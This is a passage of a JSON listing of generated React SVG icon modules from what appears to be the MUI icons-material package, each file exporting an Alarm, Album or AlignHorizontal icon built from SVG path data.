    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.87 15.25-3.37-2V8.72c0-.4-.32-.72-.72-.72h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l3.65 2.19c.34.2.78.1.98-.24.21-.35.1-.8-.25-1m5.31-10.24L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.87 15.25-3.37-2V8.72c0-.4-.32-.72-.72-.72h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l3.65 2.19c.34.2.78.1.98-.24.21-.35.1-.8-.25-1m5.31-10.24L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zm4.837-6.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zm4.837-6.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m3.75 10.85L11 14V8h1.5v5.25l4 2.37z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zm4.837-6.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\")], 'AlarmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m3.75 10.85L11 14V8h1.5v5.25l4 2.37z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zm4.837-6.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\")], 'AlarmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Album.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 14.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5m0-5.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'Album');"
  },
  {
    "path": "packages/mui-icons-material/lib/Album.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 14.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5m0-5.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'Album');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-12.5c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AlbumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-12.5c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AlbumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 14.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5m0-5.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'AlbumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 14.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5m0-5.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'AlbumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 14.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5m0-5.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'AlbumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 14.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5m0-5.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'AlbumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 12.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-12.5c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'AlbumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlbumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 12.5c-2.49 0-4.5-2.01-4.5-4.5S9.51 7.5 12 7.5s4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-12.5c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'AlbumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c.55 0 1 .45 1 1v4h6.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5H13v4h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5H13v4c0 .55-.45 1-1 1s-1-.45-1-1v-4H7.5c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14H11v-4H4.5C3.67 10 3 9.33 3 8.5S3.67 7 4.5 7H11V3c0-.55.45-1 1-1\"\n}), 'AlignHorizontalCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c.55 0 1 .45 1 1v4h6.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5H13v4h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5H13v4c0 .55-.45 1-1 1s-1-.45-1-1v-4H7.5c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14H11v-4H4.5C3.67 10 3 9.33 3 8.5S3.67 7 4.5 7H11V3c0-.55.45-1 1-1\"\n}), 'AlignHorizontalCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalCenterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 2h2v5h8v3h-8v4h5v3h-5v5h-2v-5H6v-3h5v-4H3V7h8z\"\n}), 'AlignHorizontalCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 22c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1s1 .45 1 1v18c0 .55-.45 1-1 1M20.5 7h-13C6.67 7 6 7.67 6 8.5S6.67 10 7.5 10h13c.83 0 1.5-.67 1.5-1.5S21.33 7 20.5 7m-6 7h-7c-.83 0-1.5.67-1.5 1.5S6.67 17 7.5 17h7c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AlignHorizontalLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 22c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1s1 .45 1 1v18c0 .55-.45 1-1 1M20.5 7h-13C6.67 7 6 7.67 6 8.5S6.67 10 7.5 10h13c.83 0 1.5-.67 1.5-1.5S21.33 7 20.5 7m-6 7h-7c-.83 0-1.5.67-1.5 1.5S6.67 17 7.5 17h7c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AlignHorizontalLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22H2V2h2zM22 7H6v3h16zm-6 7H6v3h10z\"\n}), 'AlignHorizontalLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightOutlined.js",
